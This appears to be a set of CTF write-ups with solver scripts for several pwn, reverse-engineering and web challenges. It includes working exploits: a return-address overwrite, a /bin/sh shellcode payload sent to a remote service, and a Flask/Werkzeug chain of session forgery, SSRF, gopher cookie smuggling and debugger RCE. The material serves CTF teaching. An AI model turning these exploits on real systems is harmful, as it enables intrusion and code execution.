    io.recvuntil(b"LEAK|")
    leak_greeting = int(io.recvuntil(b"|", drop=True), 16)
    leak_77 = int(io.recvuntil(b"|", drop=True), 16)
    leak_79 = int(io.recvuntil(b"|", drop=True), 16)
    io.recvuntil(b"END")

    pie_base = leak_greeting - greeting_off
    expected_ret = pie_base + 0xDC052
    win_addr = pie_base + win_off

    if leak_77 == expected_ret:
        slot, tiny = 23, 8  # offset 0x178 from ledger
    elif leak_79 == expected_ret:
        slot, tiny = 24, 8  # offset 0x188 from ledger
    else:
        raise RuntimeError(
            f"could not locate return address: leak77={leak_77:#x} leak79={leak_79:#x} expected={expected_ret:#x}"
        )

    io.sendlineafter(b"(slot index 0..128):", str(slot).encode())
    io.sendlineafter(b"(0..15):", str(tiny).encode())
    io.sendlineafter(b"(max 8):", b"8")
    io.sendafter(b"Ink (raw bytes):", p64(win_addr))

    return io.recvall(timeout=3)


def main() -> int:
    context.arch = "amd64"
    context.os = "linux"
    context.log_level = "error"

    elf = ELF("./attachments/chall", checksec=False)

    # Usage:
    #   ./solve.py                 -> remote (default)
    #   ./solve.py --local         -> local process
    #   ./solve.py HOST PORT       -> custom remote
    target = Target(host="52.59.124.14", port=5030, local=False)
    argv = sys.argv[1:]
    if argv and argv[0] == "--local":
        target = Target(host="127.0.0.1", port=0, local=True)
        argv = argv[1:]
    if len(argv) == 2:
        target = Target(host=argv[0], port=int(argv[1]), local=False)
        argv = []
    if argv:
        print("usage: ./solve.py [--local] [HOST PORT]", file=sys.stderr)
        return 2

    last_err: Exception | None = None
    for _ in range(12):
        try:
            io = process(elf.path) if target.local else remote(target.host, target.port)
            with io:
                out = exploit(io, elf)

            m = FLAG_RE.search(out)
            if m:
                sys.stdout.buffer.write(m.group(0) + b"\n")
                return 0
            if target.local:
                # Local binary doesn't ship a real /flag; seeing cat's error is enough.
                sys.stdout.buffer.write(out)
                return 0

            raise RuntimeError(f"flag not found (got {len(out)} bytes)")
        except Exception as e:
            last_err = e
            continue

    print(f"failed: {last_err!r}", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())
```

### atomizer

#### Description

**Category:** pwn | **Points:** 335 | **Solves:** 56

> I hate it when something is not exactly the way I want it. So I just throw it away.

Server: `52.59.124.14:5020`

We're given a static x86-64 ELF binary (`atomizer`) assembled from NASM.

#### Solution

**Binary analysis:**

The binary does the following:

1. Prints a banner: `== BUG ATOMIZER == \nMix drops of pesticide. Too much or too little and it won't spray.\n`
2. `mmap(0x7770000, 0x1000, PROT_RWX, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0)` — creates an RWX page
3. Reads **exactly 69 bytes** (0x45) from stdin into the mmap'd page at `0x7770000`
4. Prints an "ok" message
5. Executes a `jmp` intended to jump to `0x7770000` (our shellcode)

**The NASM relocation bug (red herring):**

The distributed binary contains a buggy `jmp` instruction at `0x401083`:

```
e9 fc ff 76 07    →  jmp 0x7B71084
```

Due to a NASM bug, the relative displacement was calculated as `target - 4` instead of `target - RIP_after_instruction`, causing the jump to land at `0x7B71084` (unmapped) instead of `0x7770000`. This causes an immediate SIGSEGV when running the distributed binary locally.

**However**, the server runs a **corrected** version of the binary where the `jmp` correctly targets `0x7770000`. The challenge description ("I hate it when something is not exactly the way I want it. So I just throw it away") hints that the author discarded the buggy version for the server deployment.

**Confirming code execution:**

Timing tests confirm execution on the remote server:

* Baseline payload (no valid code): connection closes in \~0.16s (crash)
* Infinite loop (`eb fe`): connection stays open indefinitely (code running)
* `nanosleep(3s)` shellcode: connection closes after exactly \~3.16s (code running, then clean exit)

**Exploit:**

With confirmed shellcode execution, the exploit is straightforward — send a compact `execve("/bin/sh", NULL, NULL)` shellcode (25 bytes, well within the 69-byte limit). The server uses an inetd-style setup where fd 0 and fd 1 are the TCP socket, giving us an interactive shell. The flag is at `/home/user/flag`.

```python
#!/usr/bin/env python3
"""Exploit for atomizer - execve /bin/sh shellcode in 69 bytes."""
import socket, time

HOST = '52.59.124.14'
PORT = 5020
INPUT_SIZE = 0x45  # 69 bytes

# execve("/bin/sh", NULL, NULL) - 25 bytes
shellcode = (
    b'\x31\xc0'                                      # xor eax, eax
    b'\x50'                                           # push rax (null terminator)
    b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'    # mov rbx, "/bin/sh\0"
    b'\x53'                                           # push rbx
    b'\x48\x89\xe7'                                   # mov rdi, rsp
    b'\x31\xf6'                                       # xor esi, esi (argv=NULL)
    b'\x31\xd2'                                       # xor edx, edx (envp=NULL)
    b'\xb0\x3b'                                       # mov al, 59 (execve)
    b'\x0f\x05'                                       # syscall
)

payload = shellcode + b'\x90' * (INPUT_SIZE - len(shellcode))

s = socket.create_connection((HOST, PORT), timeout=10)
s.settimeout(3)

# Receive 92-byte banner
banner = b''
while len(banner) < 92:
    banner += s.recv(4096)

# Send shellcode
s.sendall(payload)

# Drain ok message
time.sleep(0.3)
try:
    while True:
        s.recv(4096)
except socket.timeout:
    pass

# Interactive shell - read the flag
s.sendall(b'cat /home/user/flag\n')
time.sleep(1)
data = b''
try:
    while True:
        s.settimeout(2)
        chunk = s.recv(4096)
        if not chunk:
            break
        data += chunk
except socket.timeout:
    pass

print(data.decode(errors='replace'))
s.close()
```

**Flag:** `ENO{GIVE_ME_THE_RIGHT_AMOUNT_OF_ATOMS_TO_WIN}`

***

## rev

### Coverup

#### Description

We are given:

* `output/encrypted_flag.txt`: `base64(ciphertext_bytes):sha1(ciphertext_bytes)`
* `output/coverage.json`: Xdebug code coverage while encrypting the real `flag.txt`
* `encrypt.php`: the encryption routine

Goal: recover the plaintext flag.

#### Solution

**1) Understand the encryption**

Inside `FlagEncryptor::encrypt($plaintext)`:

* A 9-byte printable key is generated (not provided).
* For each plaintext byte `P[i]` with key byte `K[i % 9]`:

1. A lookup-like function `M()` is applied to the key byte via a huge `if/else` chain:

   `K2 = M(K)`
2. XOR with plaintext:

   `X = P ^ K2`
3. Apply the same `M()` again to the XOR result:

   `C = M(X)`

The output bytes `C` are base64-encoded, and `sha1(C)` is appended.

Important detail: `M()` is **not injective** (many different inputs map to the same output). So you cannot uniquely invert `C -> X` without extra information.

**2) Use coverage as an oracle for actual branch inputs**

`coverage.json` includes line coverage for the giant `if/else` chains:

* In the first chain, only the 9 `if ($keyChar == chr(N))` branches corresponding to the actual key bytes are hit ⇒ we recover the **set** of key byte values.
* In the second chain, only branches for the actual `X = P ^ K2` values are hit ⇒ we recover the **set** of `X` values used during encryption.

From the provided coverage, the executed key bytes are:

`[49, 61, 65, 68, 86, 108, 111, 112, 122]` → `"1=ADVlopz"`

**3) Narrow down `X[i]` per position using collisions + coverage**

We decode the base64 to get ciphertext bytes `C[i]`.

For each byte value `c`, compute all preimages `Pre(c) = { x | M(x) = c }` from `encrypt.php`.

Then for each position `i`:

`X_candidates[i] = Pre(C[i]) ∩ X_set_from_coverage`

In this challenge, 43/49 positions become unique, and only 6 positions have 2 candidates.

**4) Recover key order and plaintext by backtracking**

The key order matters (it repeats every 9 bytes), but coverage only gives the set of key bytes. We solve by backtracking with constraints:

* Plaintext is printable ASCII
* Prefix is `ENO{`
* Suffix is `}`

This yields a small number of plaintext candidates due to `M()` collisions; the intended one is the readable:

`ENO{c0v3r4g3_l34k5_s3cr3t5_really_g00d_you_Kn0w?}`

The recovered ordered key is:

`=pVz1AlDo`

**5) Solver code**

Run: `python3 solve.py`

```python
#!/usr/bin/env python3
import base64
import hashlib
import json
import re
from collections import defaultdict


HERE_ENCRYPT_PHP = "encrypt.php"
HERE_COVERAGE_JSON = "output/coverage.json"
HERE_ENCRYPTED_FLAG = "output/encrypted_flag.txt"


def build_m_table_from_php(path: str) -> list[int]:
    text = open(path, "r", encoding="utf-8", errors="ignore").read()
    # One mapping table is used twice: for $keyChar and for $xored.
    # The code is a giant if/else chain of the form:
    #   if ($keyChar == chr(N)) { $processedKeyAscii = ord($keyChar) + OFF; ... }
    pat = re.compile(
        r"\$keyChar == chr\((\d+)\)\) \{\s*\$processedKeyAscii = ord\(\$keyChar\) \+ (\d+);",
        re.M,
    )
    off = {int(n): int(delta) for n, delta in pat.findall(text)}
    if len(off) != 256:
        raise ValueError(f"expected 256 offsets, got {len(off)}")
    return [((i + off[i]) & 0xFF) for i in range(256)]


def parse_coverage_sets(encrypt_php_path: str, coverage_json_path: str) -> tuple[set[int], set[int]]:
    cov = json.load(open(coverage_json_path, "r", encoding="utf-8"))
    if len(cov) != 1:
        raise ValueError("unexpected coverage structure (expected single file entry)")
    file_key = next(iter(cov))
    line_cov = {int(k): int(v) for k, v in cov[file_key]["lines"].items()}

    key_assign_line: dict[int, int] = {}
    xored_assign_line: dict[int, int] = {}
    cur_key = None
    cur_x = None

    for lineno, line in enumerate(
        open(encrypt_php_path, "r", encoding="utf-8", errors="ignore"), start=1
    ):
        mk = re.search(r"\$keyChar\s*==\s*chr\((\d+)\)", line)
        if mk:
            cur_key = int(mk.group(1))

        mx = re.search(r"\$xored\s*==\s*chr\((\d+)\)", line)
        if mx:
            cur_x = int(mx.group(1))

        if cur_key is not None and re.search(
            r"\$processedKeyAscii\s*=\s*ord\(\$keyChar\)\s*\+\s*\d+;", line
        ):
            key_assign_line.setdefault(cur_key, lineno)

        if cur_x is not None and re.search(
            r"\$finalAscii\s*=\s*ord\(\$xored\)\s*\+\s*\d+;", line
        ):
            xored_assign_line.setdefault(cur_x, lineno)

    if len(key_assign_line) != 256 or len(xored_assign_line) != 256:
        raise ValueError("failed to map all 256 branches to line numbers")

    executed_key = {v for v, ln in key_assign_line.items() if line_cov.get(ln) == 1}
    executed_xored = {v for v, ln in xored_assign_line.items() if line_cov.get(ln) == 1}
    return executed_key, executed_xored


def encrypt_bytes(plaintext: bytes, key: bytes, m: list[int]) -> bytes:
    out = bytearray()
    for i, b in enumerate(plaintext):
        processed_key = m[key[i % len(key)]]
        x = b ^ processed_key
        out.append(m[x])
    return bytes(out)


def solve() -> None:
    m = build_m_table_from_php(HERE_ENCRYPT_PHP)

    b64, sha1_hex = open(HERE_ENCRYPTED_FLAG, "r", encoding="utf-8").read().strip().split(":", 1)
    cipher = base64.b64decode(b64)
    if hashlib.sha1(cipher).hexdigest() != sha1_hex:
        raise ValueError("ciphertext sha1 mismatch (bad input?)")

    key_set, xored_set = parse_coverage_sets(HERE_ENCRYPT_PHP, HERE_COVERAGE_JSON)
    key_bytes = sorted(key_set)
    if len(key_bytes) != 9:
        raise ValueError(f"expected 9 key bytes from coverage, got {len(key_bytes)}")
    if any(not (33 <= b <= 126) for b in key_bytes):
        raise ValueError("key bytes should be printable (33..126)")

    k2_values = [m[b] for b in key_bytes]
    if len(set(k2_values)) != len(k2_values):
        raise ValueError("unexpected: processed key bytes collide (would add ambiguity)")
    k2_to_keybyte = {m[b]: b for b in key_bytes}

    pre = defaultdict(list)
    for x, y in enumerate(m):
        pre[y].append(x)

    x_candidates: list[list[int]] = []
    for c in cipher:
        cand = [x for x in pre[c] if x in xored_set]
        if not cand:
            raise ValueError(f"no xored candidates for cipher byte {c}")
        x_candidates.append(cand)

    L = len(cipher)
    known = {0: ord("E"), 1: ord("N"), 2: ord("O"), 3: ord("{"), L - 1: ord("}")}

    def printable(p: int, i: int) -> bool:
        if i in known:
            return p == known[i]
        return 32 <= p <= 126

    keypos = [None] * 9
    used = set()
    plain = [None] * L
    solutions: list[tuple[str, str]] = []

    def dfs(i: int) -> None:
        if i == L:
            pt = "".join(chr(b) for b in plain)
            key = "".join(chr(k2_to_keybyte[k2]) for k2 in keypos)
            solutions.append((pt, key))
            return

        j = i % 9
        for x in x_candidates[i]:
            if keypos[j] is not None:
                p = x ^ keypos[j]
                if printable(p, i):
                    plain[i] = p
                    dfs(i + 1)
                    plain[i] = None
            else:
                for k2 in k2_values:
                    if k2 in used:
                        continue
                    p = x ^ k2
                    if not printable(p, i):
                        continue
                    keypos[j] = k2
                    used.add(k2)
                    plain[i] = p
                    dfs(i + 1)
                    plain[i] = None
                    used.remove(k2)
                    keypos[j] = None

    dfs(0)

    def score_flag(s: str) -> int:
        # Simple heuristic to pick the intended human-readable flag when
        # M() collisions create multiple valid plaintexts.
        score = 0
        for needle in [
            "c0v3r4g3",
            "l34k5",
            "s3cr3t5",
            "really",
            "g00d",
            "you",
            "Kn0w",
        ]:
            score += 50 if needle in s else 0
        score -= 200 if "|" in s else 0
        score -= 50 if "sou" in s else 0
        score -= 50 if "g00n" in s else 0
        score -= 50 if "Ureally" in s else 0
        score += sum(ch.isalnum() or ch in "_{}?" for ch in s)
        return score

    solutions.sort(key=lambda sk: score_flag(sk[0]), reverse=True)
    best_flag, best_key = solutions[0]

    # Verify best solution re-encrypts to the given ciphertext.
    calc = encrypt_bytes(best_flag.encode(), best_key.encode(), m)
    assert calc == cipher
    assert base64.b64encode(calc).decode() == b64

    print(f"[+] recovered key bytes (unordered): {''.join(chr(b) for b in key_bytes)}")
    print(f"[+] recovered key (ordered): {best_key}")
    print(f"[+] candidate flags found: {len(solutions)}")
    print(f"[+] best flag: {best_flag}")


if __name__ == "__main__":
    solve()
```

### Hashinator

#### Description

`challenge_final` reads a string from stdin (minimum length 15) and prints 32-hex “hash” lines:

* Line 0 is a constant for the empty prefix.
* Line `i` (1-based) is the hash of the first `i` bytes of the input.

The provided `attachments/public/OUTPUT.txt` is the program output for the real (unknown) flag, so it contains the correct hash for every prefix of the flag.

#### Solution

Because we have the target hash for *every* prefix, we can recover the flag one byte at a time with an oracle brute force:

* Let `expected[i]` be the 32-hex hash line for prefix length `i` (with `expected[0]` being the constant empty-prefix line).
* For each position `i` (0-based byte index), try candidate bytes `b` and run the binary on:
  * `recovered_prefix + b + filler`
  * where `filler` is `'A'` repeated so total length is `max(15, i+1)` (to satisfy the binary’s minimum length and ensure it prints line `i+1`).
* Parse the binary output; when output line `i+1` matches `expected[i+1]`, the guessed byte is correct.
* Repeat until all `len(expected)-1` bytes are recovered.

Verification: run `challenge_final` once on the recovered flag and check that all printed hash lines match `OUTPUT.txt`.

Recovered flag:

`ENO{MD2_1S_S00_0ld_B3tter_Implement_S0m3Th1ng_ElsE!!}`

Solver code used (`recover_oracle.py`):

```python
#!/usr/bin/env python3
import argparse
import re
import string
import subprocess
import sys
from pathlib import Path

HEX32_RE = re.compile(r"^[0-9a-f]{32}$")


def parse_expected(path: Path) -> list[str]:
    hashes: list[str] = []
    for line in path.read_text().splitlines():
        s = line.strip()
        if HEX32_RE.match(s):
            hashes.append(s)
    if not hashes:
        raise SystemExit(f"No 32-hex hashes found in {path}")
    return hashes


def run_hashes(binary: Path, data: bytes) -> list[str]:
    p = subprocess.run(
        [str(binary)],
        input=data,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    if p.returncode != 0:
        err = p.stderr.decode("utf-8", "ignore").strip()
        raise RuntimeError(err or f"binary exited {p.returncode}")

    out: list[str] = []
    for line in p.stdout.splitlines():
        s = line.decode("ascii", "ignore").strip()
        if HEX32_RE.match(s):
            out.append(s)
    return out


def candidate_alphabets() -> list[list[int]]:
    likely = (
        "\n"
        + "{}_"
        + string.ascii_lowercase
        + string.ascii_uppercase
        + string.digits
        + "-.:,/@+"
    )
    likely_bytes = sorted(set(ord(c) for c in likely))
    printable_bytes = [10] + list(range(32, 127))
    all_bytes = list(range(256))
    return [likely_bytes, printable_bytes, all_bytes]


def main() -> int:
    ap = argparse.ArgumentParser(description="Recover flag by oracle-bruting prefix hashes.")
    ap.add_argument(
        "--binary",
        type=Path,
        default=Path("attachments/public/challenge_final"),
        help="path to challenge binary",
    )
    ap.add_argument(
        "--expected",
        type=Path,
        default=Path("attachments/public/OUTPUT.txt"),
        help="path to organizer OUTPUT.txt",
    )
    ap.add_argument(
        "--state",
        type=Path,
        default=Path("recovered_prefix.bin"),
        help="resume/save file for recovered bytes",
    )
    args = ap.parse_args()

    expected = parse_expected(args.expected)
    binary = args.binary

    if not binary.exists():
        raise SystemExit(f"Missing binary: {binary}")

    # Program prints one constant line for the empty prefix.
    sanity = run_hashes(binary, b"A" * 15)
    if not sanity or sanity[0] != expected[0]:
        raise SystemExit("Sanity failed: binary output does not match OUTPUT.txt")

    recovered = bytearray()
    if args.state.exists():
        recovered = bytearray(args.state.read_bytes())
        if len(recovered) >= len(expected) - 1:
            print("State already complete; nothing to do.", flush=True)
            return 0
        print(f"Resuming from {args.state} ({len(recovered)} bytes).", flush=True)

    alphabets = candidate_alphabets()
    total = len(expected) - 1

    for i in range(len(recovered), total):
        target = expected[i + 1]
        msg_len = max(15, i + 1)
        fill_len = msg_len - (i + 1)

        found = None
        for alphabet in alphabets:
            for b in alphabet:
                data = bytes(recovered) + bytes([b]) + (b"A" * fill_len)
                out = run_hashes(binary, data)
                if len(out) <= i + 1:
                    continue
                if out[i + 1] == target:
                    found = b
                    break
            if found is not None:
                break

        if found is None:
            raise SystemExit(f"Failed to recover byte at position {i}")

        recovered.append(found)
        args.state.write_bytes(recovered)

        try:
            s = recovered.decode("utf-8")
        except UnicodeDecodeError:
            s = recovered.decode("latin-1")

        if i < 6 or i % 5 == 4 or i == total - 1:
            print(f"{i+1:02d}/{total}: {s!r}", flush=True)

    print("Recovered bytes:", bytes(recovered), flush=True)
    try:
        print("Recovered str  :", bytes(recovered).decode("utf-8"), flush=True)
    except UnicodeDecodeError:
        print("Recovered str  :", bytes(recovered).decode("latin-1"), flush=True)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

### Opalist

#### Description

We are given an Opal implementation (`challenge_final.impl`) and a captured output string (`OUTPUT.txt`). The program reads one line from stdin, transforms it, and prints a “weird” base64-like string. The flag format is `ENO{DECODED OUTPUT}`, so we need to recover the original input line that produced the provided output:

`YnpYZVeGc45lc2VUZ05h`

#### Solution

From `challenge_final.impl`:

* `f3` applies a fixed byte-to-byte substitution (`f1`) to each character of the input.
* `f8` repeatedly adds a constant `q` to every byte (mod 256). Over all indices, this is equivalent to adding one final global shift `S` to every byte, where each index contributes `+i` if the substituted byte at that index is even, otherwise `-i` (mod 256).
* `f13` base64-encodes the resulting byte sequence.

So the printed output is:

1. base64-decode → shifted bytes `r`
2. find `S` such that if `b = r - S (mod 256)`, then `S == sum_i ( i if b[i] even else -i ) (mod 256)`
3. `b` is the substituted plaintext; invert the `f1` substitution to recover the original input
4. wrap in `ENO{...}`

Code (exact solver used):

```python
#!/usr/bin/env python3
import base64
import re
from pathlib import Path


HERE = Path(__file__).resolve().parent


def parse_f1_table(impl_text: str) -> dict[int, int]:
    pat_if = re.compile(r'IF a = \(\("(\d+)"!\)\) THEN \(\("(\d+)"!\)\)')
    pat_elif = re.compile(r'ELSE IF a = \(\("(\d+)"!\)\) THEN \(\("(\d+)"!\)\)')
    table: dict[int, int] = {}
    for line in impl_text.splitlines():
        m = pat_if.search(line)
        if m:
            table[int(m.group(1))] = int(m.group(2))
            continue
        m = pat_elif.search(line)
        if m:
            table[int(m.group(1))] = int(m.group(2))
    return table


def calc_shift(sub_bytes: list[int]) -> int:
    total = 0
    for idx, b in enumerate(sub_bytes):
        q = idx if (b % 2 == 0) else (-idx) % 256
        total = (total + q) % 256
    return total


def main() -> None:
    impl = (HERE / "challenge_final.impl").read_text(encoding="utf-8", errors="ignore")
    f1 = parse_f1_table(impl)
    inv_f1 = {v: k for k, v in f1.items()}

    encoded = "YnpYZVeGc45lc2VUZ05h"
    shifted = list(base64.b64decode(encoded))

    shift = None
    substituted = None
    for s in range(256):
        cand = [(x - s) % 256 for x in shifted]
        if calc_shift(cand) == s:
            shift = s
            substituted = cand
            break

    if shift is None or substituted is None:
        raise SystemExit("No valid shift found")

    decoded = "".join(chr(inv_f1.get(b, b)) for b in substituted)
    print(decoded)
    print(f"ENO{{{decoded}}}")


if __name__ == "__main__":
    main()
```

Running it prints the decoded string `R3v_0p4L_4_FuN!`, so the flag is:

`ENO{R3v_0p4L_4_FuN!}`

### stack strings 1

#### Description

The binary prints some text, asks for a “member code”, and prints either “ACCESS DENIED” or “ACCESS GRANTED”. Most strings are generated at runtime (“stack strings”), so `strings` is not useful.

#### Solution

Disassemble `attachments/stackstrings_med` and focus on the only real function (the `mmap`/`memcpy`/`read`/`write` one).

Key observations from the disassembly:

* It `mmap`s 0xbd bytes and `memcpy`s a 0xbd-byte blob from `.rodata` at virtual address `0x20d0` (file offset `0x20d0`).
* The pretty banner/prompt strings are temporarily decoded with XORs to print, then re-obfuscated. The validation bytes at offsets `0x95+` are never modified.
* The required input length is computed from one byte in that blob:
  * `len = blob[0xb8] ^ 0x36`
* A 32-bit constant `r15` is assembled from 4 blob bytes (after per-byte XOR “unmasking”):
  * `r15 = (b9^0x19) | (ba^0x95)<<8 | (bb^0xc7)<<16 | (bc^0x0a)<<24`
* Then, for each position `i`, the code computes a target byte from:
  * a per-round pseudo-random byte derived from `ebx` and rotates,
  * XOR’d with `blob[0x95+i]`,
  * and compares it to a similarly derived byte from `eax`, `r15`, and rotates after XOR with the user’s `input[i]`.

Because the final compare is `dl_pre ^ input[i] == sil_pre ^ blob[0x95+i]`, we can directly recover: `input[i] = dl_pre ^ (sil_pre ^ blob[0x95+i])`.

Running the solver below outputs the exact member code / flag.

```python
#!/usr/bin/env python3
from __future__ import annotations

from pathlib import Path
import sys


def rol32(value: int, shift: int) -> int:
    shift &= 31
    value &= 0xFFFFFFFF
    if shift == 0:
        return value
    return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift))


def solve(elf_bytes: bytes) -> str:
    rodata_off = 0x20D0
    blob_len = 0xBD
    blob = elf_bytes[rodata_off : rodata_off + blob_len]
    if len(blob) != blob_len:
        raise ValueError("ELF too small to contain expected .rodata blob")

    length = blob[0xB8] ^ 0x36
    r15 = (
        (blob[0xB9] ^ 0x19)
        | ((blob[0xBA] ^ 0x95) << 8)
        | ((blob[0xBB] ^ 0xC7) << 16)
        | ((blob[0xBC] ^ 0x0A) << 24)
    )

    eax = 0xA97288ED
    ebx = 0x9E3779B9
    r9 = 0

    out = bytearray()
    for i in range(length):
        s = (ebx ^ 0xC19EF49E) & 0xFFFFFFFF
        s = rol32(s, i & 7)
        t = ((s >> 16) ^ s) & 0xFFFFFFFF
        u = ((t >> 8) ^ t) & 0xFFFFFFFF
        sil = (u & 0xFF) ^ blob[0x95 + i]

        d = (eax ^ r15) & 0xFFFFFFFF
        d = rol32(d, r9 & 7)
        t2 = ((d >> 15) ^ d) & 0xFFFFFFFF
        u2 = ((t2 >> 7) ^ t2) & 0xFFFFFFFF
        dl_pre = u2 & 0xFF

        out.append(dl_pre ^ sil)

        r9 = (r9 + 3) & 0xFFFFFFFF
        eax = (eax + 0x85EBCA6B) & 0xFFFFFFFF
        ebx = (ebx + 0x9E3779B9) & 0xFFFFFFFF

    return out.decode("ascii")


def main() -> int:
    path = Path(sys.argv[1]) if len(sys.argv) > 1 else Path("attachments/stackstrings_med")
    flag = solve(path.read_bytes())
    print(flag)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Usage:

* `python3 solve.py`

### stack strings 2

#### Description

A stripped 64-bit ELF (`attachments/stackstrings_hard`) prints some text, asks:

* `"Do you speak the Stack Sigil?"`

and replies `NO.` unless the correct 41-byte input is provided.

#### Solution

The binary stores a 0xFA-byte encrypted blob in `.rodata` (copied via `mmap` + `memcpy`). It decrypts its printed strings in-place with XOR/rotations, so `strings` won’t show anything useful.

The input check is fully deterministic and can be inverted.

**1) Recover parameters from the blob**

From the blob bytes (still in encrypted/original form):

* Required length: `n = blob[0xF4] ^ 0xA7` → `n = 41`
* Seed byte: `seed = blob[0xF9] ^ 0x77`
* 32-bit constant:\
  `r15 = ((blob[0xF8]^0x13)<<24) | ((blob[0xF7]^0x4B)<<16) | ((blob[0xF6]^0xD3)<<8) | (blob[0xF5]^0x3A)`
* Two per-position tables used during verification:
  * `table_a2[i] = blob[0xA2 + i]`
  * `table_cb[i] = blob[0xCB + i]`

**2) Understand the verification loop**

Let the secret input be `pw[0..n-1]`. The verifier runs for `i = 0..n-1` with state:

* `edx = 0x9E3779B9 + i*0x9E3779B9` (32-bit wrap)
* `r9 = i*3`
* `r10 = 0xA97288ED + i*0x85EBCA6B` (32-bit wrap)

For each `i`, it computes:

* An index `idx_i` (0..n-1) from `edx`, a rotate, a simple xorshift-mix, and `table_a2[i]`.
* A target byte `expected_i` similarly from `edx` and `table_cb[i]`.
* A per-round byte `base_low` from `r10 ^ r15`, a rotate by `(r9&7)`, and another xorshift-mix.

Then it selects `curr = pw[idx_i]` and uses `prev` as the *previous selected byte* (`seed` on the first round). The key relation implemented by the assembly is:

* `expected_i == rol8(prev, 1) + (base_low XOR curr) (mod 256)`

This is directly invertible:

* `curr = base_low XOR (expected_i - rol8(prev,1)) (mod 256)`

So we can compute `curr` for every round, place it into `pw[idx_i]`, and update `prev = curr`.

**3) Script to recover the flag**

Running the following script prints the recovered 41-byte string, which is the flag.

```python
#!/usr/bin/env python3
from __future__ import annotations

import sys


def rol32(x: int, r: int) -> int:
    r &= 31
    x &= 0xFFFFFFFF
    return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF


def rol8(x: int, r: int) -> int:
    r &= 7
    x &= 0xFF
    return ((x << r) | (x >> (8 - r))) & 0xFF


def mix16_8(x: int) -> int:
    x &= 0xFFFFFFFF
    x ^= (x >> 16)
    x &= 0xFFFFFFFF
    x ^= (x >> 8)
    return x & 0xFFFFFFFF


def mix15_7(x: int) -> int:
    x &= 0xFFFFFFFF
    x ^= (x >> 15)
    x &= 0xFFFFFFFF
    x ^= (x >> 7)
    return x & 0xFFFFFFFF


def main() -> int:
    path = sys.argv[1] if len(sys.argv) > 1 else "attachments/stackstrings_hard"
    data = open(path, "rb").read()

    # Taken from `readelf -S`: .rodata is at file offset 0x2000, size 0x1DA.
    rodata_off = 0x2000
    rodata_size = 0x1DA

    # The program mmaps 0xFA bytes and memcpy's from vaddr 0x20E0 (i.e. rodata+0xE0).
    blob_off_in_rodata = 0xE0
    blob_size = 0xFA

    rodata = data[rodata_off : rodata_off + rodata_size]
    blob = bytearray(rodata[blob_off_in_rodata : blob_off_in_rodata + blob_size])

    n = blob[0xF4] ^ 0xA7
    r15 = (
        ((blob[0xF8] ^ 0x13) << 24)
        | ((blob[0xF7] ^ 0x4B) << 16)
        | ((blob[0xF6] ^ 0xD3) << 8)
        | (blob[0xF5] ^ 0x3A)
    ) & 0xFFFFFFFF
    seed = blob[0xF9] ^ 0x77

    table_a2 = bytes(blob[0xA2 : 0xA2 + n])
    table_cb = bytes(blob[0xCB : 0xCB + n])

    pw = [None] * n

    prev = seed
    edx = 0x9E3779B9
    r9 = 0
    r10 = 0xA97288ED

    for i in range(n):
        # idx_i
        rot_idx = rol32(edx ^ 0xEC8804A0, i & 7)
        idx = (mix16_8(rot_idx) & 0xFF) ^ table_a2[i]

        # expected_i
        rot_exp = rol32(edx ^ 0x19E0463B, i & 7)
        expected = (mix16_8(rot_exp) & 0xFF) ^ table_cb[i]

        # base_low
        rot_base = rol32((r10 ^ r15) & 0xFFFFFFFF, r9 & 7)
        base_low = mix15_7(rot_base) & 0xFF

        # Solve for the selected input byte
        need = (expected - rol8(prev, 1)) & 0xFF
        curr = base_low ^ need

        if pw[idx] is None:
            pw[idx] = curr
        else:
            assert pw[idx] == curr

        prev = curr
        r9 = (r9 + 3) & 0xFFFFFFFF
        r10 = (r10 + 0x85EBCA6B) & 0xFFFFFFFF
        edx = (edx + 0x9E3779B9) & 0xFFFFFFFF

    out = bytes(pw)
    print(out.decode("ascii"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

**Flag**

`ENO{W0W_D1D_1_JU5T_UNLUCK_4_N3W_SK1LL???}`

***

## web

### Meowy

#### Description

The service is a Flask cat gallery with an admin-only `/fetch` feature. The server runs with Werkzeug’s debugger enabled. Goal: retrieve `ENO{...}` from the server.

#### Solution

1. **Forge admin session cookie (weak Flask `secret_key`).**

* The app sets `app.secret_key` to a single random word generated by `random_word.RandomWords()`.
* `random_word` defaults to the `Local` backend and chooses a random key from its bundled `words.json`.
* Because we can obtain a valid Flask `session` cookie from `/` (`{"is_admin": false}`), we brute-force the secret key offline by trying all `words.json` keys with length ≥ 12 until `itsdangerous` verifies the cookie signature.
* With the cracked secret key we sign a new cookie with `{"is_admin": true}` and access `/fetch`.

2. **Use `/fetch` for file read and internal SSRF.**

* `/fetch` uses `pycurl` and allows fetching `file://` URLs (arbitrary file read as the web user).
* Listing `file:///` reveals `/flag.txt` exists but is not readable by the web user, and `/readflag` exists as an executable that can output the flag.
* `/fetch` can also reach internal services. External port `5004` maps to internal `5000`, so `http://127.0.0.1:5000/console` is reachable.

3. **Bypass Werkzeug debugger PIN trust and get RCE via gopher.**

* Werkzeug’s debugger requires a “trusted” cookie (`__wzd...`) that normally gets set by `cmd=pinauth`.
* The app blocks `cmd=pinauth`, so we can’t unlock through the normal endpoint.
* But we can:
  * Compute the correct debugger trust cookie name and value (Werkzeug’s `get_pin_and_cookie_name` + `hash_pin`) using data we can read via `/fetch` (`/etc/machine-id`, `/sys/class/net/eth0/address`, and `/etc/passwd`).
  * Inject that cookie into an internal HTTP request using `gopher://` (raw request smuggling) through `/fetch`.
* With the trust cookie present, Werkzeug accepts `__debugger__=yes&cmd=<python>&frm=0&s=<SECRET>` and executes Python in the console frame.
* Execute `os.popen("/readflag").read()` to print the flag, then extract `ENO{...}` from the response.

**Solver code (run locally):**

```python
#!/usr/bin/env python3

import hashlib
import html
import json
import re
import time
import urllib.parse
from itertools import chain

import requests
from itsdangerous import BadSignature, URLSafeTimedSerializer


BASE_URL = "http://52.59.124.14:5004"


def get_flask_serializer(secret_key: str) -> URLSafeTimedSerializer:
    # Match Flask's default session signer settings.
    from flask.sessions import TaggedJSONSerializer

    return URLSafeTimedSerializer(
